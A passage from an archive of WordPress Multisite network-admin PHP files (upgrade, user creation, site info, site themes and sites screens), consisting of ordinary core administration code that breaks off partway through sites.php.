					<th scope="row"><label for="<?php echo esc_attr( $option->option_name ); ?>" class="code"><?php echo esc_html( $option->option_name ); ?></label></th>
					<td><textarea class="<?php echo $class; ?>" rows="5" cols="40" name="option[<?php echo esc_attr( $option->option_name ); ?>]" id="<?php echo esc_attr( $option->option_name ); ?>"<?php disabled( $disabled ); ?>><?php echo esc_textarea( $option->option_value ); ?></textarea></td>
				</tr>
				<?php
			} else {
				?>
				<tr class="form-field">
					<th scope="row"><label for="<?php echo esc_attr( $option->option_name ); ?>" class="code"><?php echo esc_html( $option->option_name ); ?></label></th>
					<?php if ( $is_main_site && in_array( $option->option_name, array( 'siteurl', 'home' ), true ) ) { ?>
					<td><code><?php echo esc_html( $option->option_value ); ?></code></td>
					<?php } else { ?>
					<td><input class="<?php echo $class; ?>" name="option[<?php echo esc_attr( $option->option_name ); ?>]" type="text" id="<?php echo esc_attr( $option->option_name ); ?>" value="<?php echo esc_attr( $option->option_value ); ?>" size="40" <?php disabled( $disabled ); ?> /></td>
					<?php } ?>
				</tr>
				<?php
			}
		} // End foreach.

		/**
		 * Fires at the end of the Edit Site form, before the submit button.
		 *
		 * @since 3.0.0
		 *
		 * @param int $id Site ID.
		 */
		do_action( 'wpmueditblogaction', $id );
		?>
	</table>
	<?php submit_button(); ?>
</form>

</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
edit.php000060400000001614151724022660006205 0ustar00<?php
/**
 * Action handler for Multisite administration panels.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

$action = ( isset( $_GET['action'] ) ) ? $_GET['action'] : '';

if ( empty( $action ) ) {
	wp_redirect( network_admin_url() );
	exit;
}

/**
 * Fires just before the action handler in several Network Admin screens.
 *
 * This hook fires on multiple screens in the Multisite Network Admin,
 * including Users, Network Settings, and Site Settings.
 *
 * @since 3.0.0
 */
do_action( 'wpmuadminedit' );

/**
 * Fires the requested handler action.
 *
 * The dynamic portion of the hook name, `$action`, refers to the name
 * of the requested action derived from the `GET` request.
 *
 * @since 3.1.0
 */
do_action( "network_admin_edit_{$action}" );

wp_redirect( network_admin_url() );
exit;
upgrade.php000060400000011546151724022660006714 0ustar00<?php
/**
 * Multisite upgrade administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require_once ABSPATH . WPINC . '/http.php';

// Used in the HTML title tag.
$title       = __( 'Upgrade Network' );
$parent_file = 'upgrade.php';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'Only use this screen once you have updated to a new version of WordPress through Updates/Available Updates (via the Network Administration navigation menu or the Toolbar). Clicking the Upgrade Network button will step through each site in the network, five at a time, and make sure any database updates are applied.' ) . '</p>' .
			'<p>' . __( 'If a version update to core has not happened, clicking this button will not affect anything.' ) . '</p>' .
			'<p>' . __( 'If this process fails for any reason, users logging in to their sites will force the same update.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/#network-admin-updates-screen">Documentation on Upgrade Network</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';

if ( ! current_user_can( 'upgrade_network' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

echo '<div class="wrap">';
echo '<h1>' . __( 'Upgrade Network' ) . '</h1>';

$action = isset( $_GET['action'] ) ? $_GET['action'] : 'show';

switch ( $action ) {
	case 'upgrade':
		$n = ( isset( $_GET['n'] ) ) ? (int) $_GET['n'] : 0;

		if ( $n < 5 ) {
			/**
			 * @global int $wp_db_version WordPress database version.
			 */
			global $wp_db_version;
			update_site_option( 'wpmu_upgrade_site', $wp_db_version );
		}

		$site_ids = get_sites(
			array(
				'spam'                   => 0,
				'deleted'                => 0,
				'archived'               => 0,
				'network_id'             => get_current_network_id(),
				'number'                 => 5,
				'offset'                 => $n,
				'fields'                 => 'ids',
				'order'                  => 'DESC',
				'orderby'                => 'id',
				'update_site_meta_cache' => false,
			)
		);
		if ( empty( $site_ids ) ) {
			echo '<p>' . __( 'All done!' ) . '</p>';
			break;
		}
		echo '<ul>';
		foreach ( (array) $site_ids as $site_id ) {
			switch_to_blog( $site_id );
			$siteurl     = site_url();
			$upgrade_url = admin_url( 'upgrade.php?step=upgrade_db' );
			restore_current_blog();

			echo "<li>$siteurl</li>";

			$response = wp_remote_get(
				$upgrade_url,
				array(
					'timeout'     => 120,
					'httpversion' => '1.1',
					'sslverify'   => false,
				)
			);

			if ( is_wp_error( $response ) ) {
				wp_die(
					sprintf(
						/* translators: 1: Site URL, 2: Server error message. */
						__( 'Warning! Problem updating %1$s. Your server may not be able to connect to sites running on it. Error message: %2$s' ),
						$siteurl,
						'<em>' . $response->get_error_message() . '</em>'
					)
				);
			}

			/**
			 * Fires after the Multisite DB upgrade for each site is complete.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param array $response The upgrade response array.
			 */
			do_action( 'after_mu_upgrade', $response );

			/**
			 * Fires after each site has been upgraded.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $site_id The Site ID.
			 */
			do_action( 'wpmu_upgrade_site', $site_id );
		}
		echo '</ul>';
		?><p><?php _e( 'If your browser does not start loading the next page automatically, click this link:' ); ?> <a class="button" href="upgrade.php?action=upgrade&amp;n=<?php echo ( $n + 5 ); ?>"><?php _e( 'Next Sites' ); ?></a></p>
		<script type="text/javascript">
		<!--
		function nextpage() {
			location.href = "upgrade.php?action=upgrade&n=<?php echo ( $n + 5 ); ?>";
		}
		setTimeout( "nextpage()", 250 );
		//-->
		</script>
		<?php
		break;
	case 'show':
	default:
		if ( (int) get_site_option( 'wpmu_upgrade_site' ) !== $GLOBALS['wp_db_version'] ) :
			?>
		<h2><?php _e( 'Database Update Required' ); ?></h2>
		<p><?php _e( 'WordPress has been updated! Next and final step is to individually upgrade the sites in your network.' ); ?></p>
		<?php endif; ?>

		<p><?php _e( 'The database update process may take a little while, so please be patient.' ); ?></p>
		<p><a class="button button-primary" href="upgrade.php?action=upgrade"><?php _e( 'Upgrade Network' ); ?></a></p>
		<?php
		/**
		 * Fires before the footer on the network upgrade screen.
		 *
		 * @since MU (3.0.0)
		 */
		do_action( 'wpmu_upgrade_page' );
		break;
}
?>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
plugin-install.php000060400000000571151724022660010223 0ustar00<?php
/**
 * Install plugin network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

if ( isset( $_GET['tab'] ) && ( 'plugin-information' === $_GET['tab'] ) ) {
	define( 'IFRAME_REQUEST', true );
}

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/plugin-install.php';
user-edit.php000060400000000375151724022660007164 0ustar00<?php
/**
 * Edit user network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/user-edit.php';
update.php000060400000000702151724022660006537 0ustar00<?php
/**
 * Update/Install Plugin/Theme network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

if ( isset( $_GET['action'] ) && in_array( $_GET['action'], array( 'update-selected', 'activate-plugin', 'update-selected-themes' ), true ) ) {
	define( 'IFRAME_REQUEST', true );
}

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/update.php';
user-new.php000064400000012154151724022660007032 0ustar00<?php
/**
 * Add User network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'create_users' ) ) {
	wp_die( __( 'Sorry, you are not allowed to add users to this network.' ) );
}

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'Add User will set up a new user account on the network and send that person an email with username and password.' ) . '</p>' .
			'<p>' . __( 'Users who are signed up to the network without a site are added as subscribers to the main or primary dashboard site, giving them profile pages to manage their accounts. These users will only see Dashboard and My Sites in the main navigation until a site is created for them.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Users_Screen">Documentation on Network Users</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

if ( isset( $_REQUEST['action'] ) && 'add-user' === $_REQUEST['action'] ) {
	check_admin_referer( 'add-user', '_wpnonce_add-user' );

	if ( ! current_user_can( 'manage_network_users' ) ) {
		wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
	}

	if ( ! is_array( $_POST['user'] ) ) {
		wp_die( __( 'Cannot create an empty user.' ) );
	}

	$user = wp_unslash( $_POST['user'] );

	$user_details = wpmu_validate_user_signup( $user['username'], $user['email'] );

	if ( is_wp_error( $user_details['errors'] ) && $user_details['errors']->has_errors() ) {
		$add_user_errors = $user_details['errors'];
	} else {
		$password = wp_generate_password( 12, false );
		$user_id  = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, sanitize_email( $user['email'] ) );

		if ( ! $user_id ) {
			$add_user_errors = new WP_Error( 'add_user_fail', __( 'Cannot add user.' ) );
		} else {
			/**
			 * Fires after a new user has been created via the network user-new.php page.
			 *
			 * @since 4.4.0
			 *
			 * @param int $user_id ID of the newly created user.
			 */
			do_action( 'network_user_new_created_user', $user_id );

			wp_redirect(
				add_query_arg(
					array(
						'update'  => 'added',
						'user_id' => $user_id,
					),
					'user-new.php'
				)
			);
			exit;
		}
	}
}

$message = '';
if ( isset( $_GET['update'] ) ) {
	if ( 'added' === $_GET['update'] ) {
		$edit_link = '';
		if ( isset( $_GET['user_id'] ) ) {
			$user_id_new = absint( $_GET['user_id'] );
			if ( $user_id_new ) {
				$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user_id_new ) ) );
			}
		}

		$message = __( 'User added.' );

		if ( $edit_link ) {
			$message .= sprintf( ' <a href="%s">%s</a>', $edit_link, __( 'Edit user' ) );
		}
	}
}

// Used in the HTML title tag.
$title       = __( 'Add User' );
$parent_file = 'users.php';

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 id="add-new-user"><?php _e( 'Add User' ); ?></h1>
<?php
if ( '' !== $message ) {
	wp_admin_notice(
		$message,
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}

if ( isset( $add_user_errors ) && is_wp_error( $add_user_errors ) ) {
	$error_messages = '';
	foreach ( $add_user_errors->get_error_messages() as $error ) {
		$error_messages .= "<p>$error</p>";
	}

	wp_admin_notice(
		$error_messages,
		array(
			'type'           => 'error',
			'dismissible'    => true,
			'id'             => 'message',
			'paragraph_wrap' => false,
		)
	);
}
?>
	<form action="<?php echo esc_url( network_admin_url( 'user-new.php?action=add-user' ) ); ?>" id="adduser" method="post" novalidate="novalidate">
		<p><?php echo wp_required_field_message(); ?></p>
		<table class="form-table" role="presentation">
			<tr class="form-field form-required">
				<th scope="row"><label for="username"><?php _e( 'Username' ); ?> <?php echo wp_required_field_indicator(); ?></label></th>
				<td><input type="text" class="regular-text" name="user[username]" id="username" autocapitalize="none" autocorrect="off" maxlength="60" required="required" /></td>
			</tr>
			<tr class="form-field form-required">
				<th scope="row"><label for="email"><?php _e( 'Email' ); ?> <?php echo wp_required_field_indicator(); ?></label></th>
				<td><input type="email" class="regular-text" name="user[email]" id="email" required="required" /></td>
			</tr>
			<tr class="form-field">
				<td colspan="2" class="td-full"><?php _e( 'A password reset link will be sent to the user via email.' ); ?></td>
			</tr>
		</table>
	<?php
	/**
	 * Fires at the end of the new user form in network admin.
	 *
	 * @since 4.5.0
	 */
	do_action( 'network_user_new_form' );

	wp_nonce_field( 'add-user', '_wpnonce_add-user' );
	submit_button( __( 'Add User' ), 'primary', 'add-user' );
	?>
	</form>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
site-info.php000060400000017136151724022660007163 0ustar00<?php
/**
 * Edit Site Info Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit this site.' ) );
}

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$parsed_scheme = parse_url( $details->siteurl, PHP_URL_SCHEME );
$is_main_site  = is_main_site( $id );

if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] ) {
	check_admin_referer( 'edit-site' );

	switch_to_blog( $id );

	// Rewrite rules can't be flushed during switch to blog.
	delete_option( 'rewrite_rules' );

	$blog_data           = wp_unslash( $_POST['blog'] );
	$blog_data['scheme'] = $parsed_scheme;

	if ( $is_main_site ) {
		// On the network's main site, don't allow the domain or path to change.
		$blog_data['domain'] = $details->domain;
		$blog_data['path']   = $details->path;
	} else {
		// For any other site, the scheme, domain, and path can all be changed. We first
		// need to ensure a scheme has been provided, otherwise fallback to the existing.
		$new_url_scheme = parse_url( $blog_data['url'], PHP_URL_SCHEME );

		if ( ! $new_url_scheme ) {
			$blog_data['url'] = esc_url( $parsed_scheme . '://' . $blog_data['url'] );
		}
		$update_parsed_url = parse_url( $blog_data['url'] );

		// If a path is not provided, use the default of `/`.
		if ( ! isset( $update_parsed_url['path'] ) ) {
			$update_parsed_url['path'] = '/';
		}

		$blog_data['scheme'] = $update_parsed_url['scheme'];

		// Make sure to not lose the port if it was provided.
		$blog_data['domain'] = $update_parsed_url['host'];
		if ( isset( $update_parsed_url['port'] ) ) {
			$blog_data['domain'] .= ':' . $update_parsed_url['port'];
		}

		$blog_data['path'] = $update_parsed_url['path'];
	}

	$existing_details     = get_site( $id );
	$blog_data_checkboxes = array( 'public', 'archived', 'spam', 'mature', 'deleted' );

	foreach ( $blog_data_checkboxes as $c ) {
		if ( ! in_array( (int) $existing_details->$c, array( 0, 1 ), true ) ) {
			$blog_data[ $c ] = $existing_details->$c;
		} else {
			$blog_data[ $c ] = isset( $_POST['blog'][ $c ] ) ? 1 : 0;
		}
	}

	update_blog_details( $id, $blog_data );

	// Maybe update home and siteurl options.
	$new_details = get_site( $id );

	$old_home_url    = trailingslashit( esc_url( get_option( 'home' ) ) );
	$old_home_parsed = parse_url( $old_home_url );
	$old_home_host   = $old_home_parsed['host'] . ( isset( $old_home_parsed['port'] ) ? ':' . $old_home_parsed['port'] : '' );

	if ( $old_home_host === $existing_details->domain && $old_home_parsed['path'] === $existing_details->path ) {
		$new_home_url = untrailingslashit( sanitize_url( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) );
		update_option( 'home', $new_home_url );
	}

	$old_site_url    = trailingslashit( esc_url( get_option( 'siteurl' ) ) );
	$old_site_parsed = parse_url( $old_site_url );
	$old_site_host   = $old_site_parsed['host'] . ( isset( $old_site_parsed['port'] ) ? ':' . $old_site_parsed['port'] : '' );

	if ( $old_site_host === $existing_details->domain && $old_site_parsed['path'] === $existing_details->path ) {
		$new_site_url = untrailingslashit( sanitize_url( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) );
		update_option( 'siteurl', $new_site_url );
	}

	restore_current_blog();
	wp_redirect(
		add_query_arg(
			array(
				'update' => 'updated',
				'id'     => $id,
			),
			'site-info.php'
		)
	);
	exit;
}

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( 'updated' === $_GET['update'] ) {
		$messages[] = __( 'Site info updated.' );
	}
}

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-info',
	)
);

if ( ! empty( $messages ) ) {
	$notice_args = array(
		'type'        => 'success',
		'dismissible' => true,
		'id'          => 'message',
	);

	foreach ( $messages as $msg ) {
		wp_admin_notice( $msg, $notice_args );
	}
}
?>
<form method="post" action="site-info.php?action=update-site">
	<?php wp_nonce_field( 'edit-site' ); ?>
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<?php
		// The main site of the network should not be updated on this page.
		if ( $is_main_site ) :
			?>
		<tr class="form-field">
			<th scope="row"><?php _e( 'Site Address (URL)' ); ?></th>
			<td><?php echo esc_url( $parsed_scheme . '://' . $details->domain . $details->path ); ?></td>
		</tr>
			<?php
			// For any other site, the scheme, domain, and path can all be changed.
		else :
			?>
		<tr class="form-field form-required">
			<th scope="row"><label for="url"><?php _e( 'Site Address (URL)' ); ?></label></th>
			<td><input name="blog[url]" type="text" id="url" value="<?php echo $parsed_scheme . '://' . esc_attr( $details->domain ) . esc_attr( $details->path ); ?>" /></td>
		</tr>
		<?php endif; ?>

		<tr class="form-field">
			<th scope="row"><label for="blog_registered"><?php _ex( 'Registered', 'site' ); ?></label></th>
			<td><input name="blog[registered]" type="text" id="blog_registered" value="<?php echo esc_attr( $details->registered ); ?>" /></td>
		</tr>
		<tr class="form-field">
			<th scope="row"><label for="blog_last_updated"><?php _e( 'Last Updated' ); ?></label></th>
			<td><input name="blog[last_updated]" type="text" id="blog_last_updated" value="<?php echo esc_attr( $details->last_updated ); ?>" /></td>
		</tr>
		<?php
		$attribute_fields = array( 'public' => _x( 'Public', 'site' ) );
		if ( ! $is_main_site ) {
			$attribute_fields['archived'] = __( 'Archived' );
			$attribute_fields['spam']     = _x( 'Spam', 'site' );
			$attribute_fields['deleted']  = __( 'Deleted' );
		}
		$attribute_fields['mature'] = __( 'Mature' );
		?>
		<tr>
			<th scope="row"><?php _e( 'Attributes' ); ?></th>
			<td>
			<fieldset>
			<legend class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Set site attributes' );
				?>
			</legend>
			<?php foreach ( $attribute_fields as $field_key => $field_label ) : ?>
				<label><input type="checkbox" name="blog[<?php echo $field_key; ?>]" value="1" <?php checked( (bool) $details->$field_key, true ); ?> <?php disabled( ! in_array( (int) $details->$field_key, array( 0, 1 ), true ) ); ?> />
				<?php echo $field_label; ?></label><br />
			<?php endforeach; ?>
			<fieldset>
			</td>
		</tr>
	</table>

	<?php
	/**
	 * Fires at the end of the site info form in network admin.
	 *
	 * @since 5.6.0
	 *
	 * @param int $id The site ID.
	 */
	do_action( 'network_site_info_form', $id );

	submit_button();
	?>
</form>

</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
site-themes.php000064400000015333151724022660007516 0ustar00<?php
/**
 * Edit Site Themes Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage themes for this site.' ) );
}

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter site themes list' ),
		'heading_pagination' => __( 'Site themes list navigation' ),
		'heading_list'       => __( 'Site themes list' ),
	)
);

$wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' );

$action = $wp_list_table->current_action();

$s = isset( $_REQUEST['s'] ) ? $_REQUEST['s'] : '';

// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
$temp_args              = array( 'enabled', 'disabled', 'error' );
$_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] );
$referer                = remove_query_arg( $temp_args, wp_get_referer() );

if ( ! empty( $_REQUEST['paged'] ) ) {
	$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
}

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$wp_list_table->prepare_items();

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$is_main_site = is_main_site( $id );

if ( $action ) {
	switch_to_blog( $id );
	$allowed_themes = get_option( 'allowedthemes' );

	switch ( $action ) {
		case 'enable':
			check_admin_referer( 'enable-theme_' . $_GET['theme'] );
			$theme  = $_GET['theme'];
			$action = 'enabled';
			$n      = 1;
			if ( ! $allowed_themes ) {
				$allowed_themes = array( $theme => true );
			} else {
				$allowed_themes[ $theme ] = true;
			}
			break;
		case 'disable':
			check_admin_referer( 'disable-theme_' . $_GET['theme'] );
			$theme  = $_GET['theme'];
			$action = 'disabled';
			$n      = 1;
			if ( ! $allowed_themes ) {
				$allowed_themes = array();
			} else {
				unset( $allowed_themes[ $theme ] );
			}
			break;
		case 'enable-selected':
			check_admin_referer( 'bulk-themes' );
			if ( isset( $_POST['checked'] ) ) {
				$themes = (array) $_POST['checked'];
				$action = 'enabled';
				$n      = count( $themes );
				foreach ( (array) $themes as $theme ) {
					$allowed_themes[ $theme ] = true;
				}
			} else {
				$action = 'error';
				$n      = 'none';
			}
			break;
		case 'disable-selected':
			check_admin_referer( 'bulk-themes' );
			if ( isset( $_POST['checked'] ) ) {
				$themes = (array) $_POST['checked'];
				$action = 'disabled';
				$n      = count( $themes );
				foreach ( (array) $themes as $theme ) {
					unset( $allowed_themes[ $theme ] );
				}
			} else {
				$action = 'error';
				$n      = 'none';
			}
			break;
		default:
			if ( isset( $_POST['checked'] ) ) {
				check_admin_referer( 'bulk-themes' );
				$themes = (array) $_POST['checked'];
				$n      = count( $themes );
				$screen = get_current_screen()->id;

				/**
				 * Fires when a custom bulk action should be handled.
				 *
				 * The redirect link should be modified with success or failure feedback
				 * from the action to be used to display feedback to the user.
				 *
				 * The dynamic portion of the hook name, `$screen`, refers to the current screen ID.
				 *
				 * @since 4.7.0
				 *
				 * @param string $redirect_url The redirect URL.
				 * @param string $action       The action being taken.
				 * @param array  $items        The items to take the action on.
				 * @param int    $site_id      The site ID.
				 */
				$referer = apply_filters( "handle_network_bulk_actions-{$screen}", $referer, $action, $themes, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
			} else {
				$action = 'error';
				$n      = 'none';
			}
	}

	update_option( 'allowedthemes', $allowed_themes, false );
	restore_current_blog();

	wp_safe_redirect(
		add_query_arg(
			array(
				'id'    => $id,
				$action => $n,
			),
			$referer
		)
	);
	exit;
}

if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) {
	wp_safe_redirect( $referer );
	exit;
}

add_thickbox();
add_screen_option( 'per_page' );

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-themes',
	)
);

if ( isset( $_GET['enabled'] ) ) {
	$enabled = absint( $_GET['enabled'] );
	if ( 1 === $enabled ) {
		$message = __( 'Theme enabled.' );
	} else {
		/* translators: %s: Number of themes. */
		$message = _n( '%s theme enabled.', '%s themes enabled.', $enabled );
	}

	wp_admin_notice(
		sprintf( $message, number_format_i18n( $enabled ) ),
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
} elseif ( isset( $_GET['disabled'] ) ) {
	$disabled = absint( $_GET['disabled'] );
	if ( 1 === $disabled ) {
		$message = __( 'Theme disabled.' );
	} else {
		/* translators: %s: Number of themes. */
		$message = _n( '%s theme disabled.', '%s themes disabled.', $disabled );
	}

	wp_admin_notice(
		sprintf( $message, number_format_i18n( $disabled ) ),
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
} elseif ( isset( $_GET['error'] ) && 'none' === $_GET['error'] ) {
	wp_admin_notice(
		__( 'No theme selected.' ),
		array(
			'type'        => 'error',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}
?>

<p><?php _e( 'Network enabled themes are not shown on this screen.' ); ?></p>

<form method="get">
<?php $wp_list_table->search_box( __( 'Search installed themes' ), 'theme' ); ?>
<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
</form>

<?php $wp_list_table->views(); ?>

<form method="post" action="site-themes.php?action=update-site">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />

<?php $wp_list_table->display(); ?>

</form>

</div>
<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
sites.php000064400000032403151724022660006413 0ustar00<?php
/**
 * Multisite sites administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$wp_list_table = _get_list_table( 'WP_MS_Sites_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

// Used in the HTML title tag.
$title       = __( 'Sites' );
$parent_file = 'sites.php';

add_screen_option( 'per_page' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
		'<p>' . __( 'Add Site takes you to the screen for adding a new site to the network. You can search for a site by Name, ID number, or IP address. Screen Options allows you to choose how many sites to display on one page.' ) . '</p>' .
		'<p>' . __( 'This is the main table of all sites on this network. Switch between list and excerpt views by using the icons above the right side of the table.' ) . '</p>' .
			'<p>' . __( 'Hovering over each site reveals seven options (three for the primary site):' ) . '</p>' .
			'<ul><li>' . __( 'An Edit link to a separate Edit Site screen.' ) . '</li>' .
			'<li>' . __( 'Dashboard leads to the Dashboard for that site.' ) . '</li>' .
			'<li>' . __( 'Deactivate, Archive, and Spam which lead to confirmation screens. These actions can be reversed later.' ) . '</li>' .
			'<li>' . __( 'Delete which is a permanent action after the confirmation screen.' ) . '</li>' .
			'<li>' . __( 'Visit to go to the front-end of the live site.' ) . '</li></ul>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/#network-admin-sites-screen">Documentation on Site Management</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_pagination' => __( 'Sites list navigation' ),
		'heading_list'       => __( 'Sites list' ),
	)
);

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( isset( $_GET['action'] ) ) {
	/** This action is documented in wp-admin/network/edit.php */
	do_action( 'wpmuadminedit' );

	// A list of valid actions and their associated messaging for confirmation output.
	$manage_actions = array(
		/* translators: %s: Site URL. */
		'activateblog'   => __( 'You are about to activate the site %s.' ),
		/* translators: %s: Site URL. */
		'deactivateblog' => __( 'You are about to deactivate the site %s.' ),
		/* translators: %s: Site URL. */
		'unarchiveblog'  => __( 'You are about to unarchive the site %s.' ),
		/* translators: %s: Site URL. */
		'archiveblog'    => __( 'You are about to archive the site %s.' ),
		/* translators: %s: Site URL. */
		'unspamblog'     => __( 'You are about to unspam the site %s.' ),
		/* translators: %s: Site URL. */
		'spamblog'       => __( 'You are about to mark the site %s as spam.' ),
		/* translators: %s: Site URL. */
		'deleteblog'     => __( 'You are about to delete the site %s.' ),
		/* translators: %s: Site URL. */
		'unmatureblog'   => __( 'You are about to mark the site %s as mature.' ),
		/* translators: %s: Site URL. */
		'matureblog'     => __( 'You are about to mark the site %s as not mature.' ),
	);

	if ( 'confirm' === $_GET['action'] ) {
		// The action2 parameter contains the action being taken on the site.
		$site_action = $_GET['action2'];

		if ( ! array_key_exists( $site_action, $manage_actions ) ) {
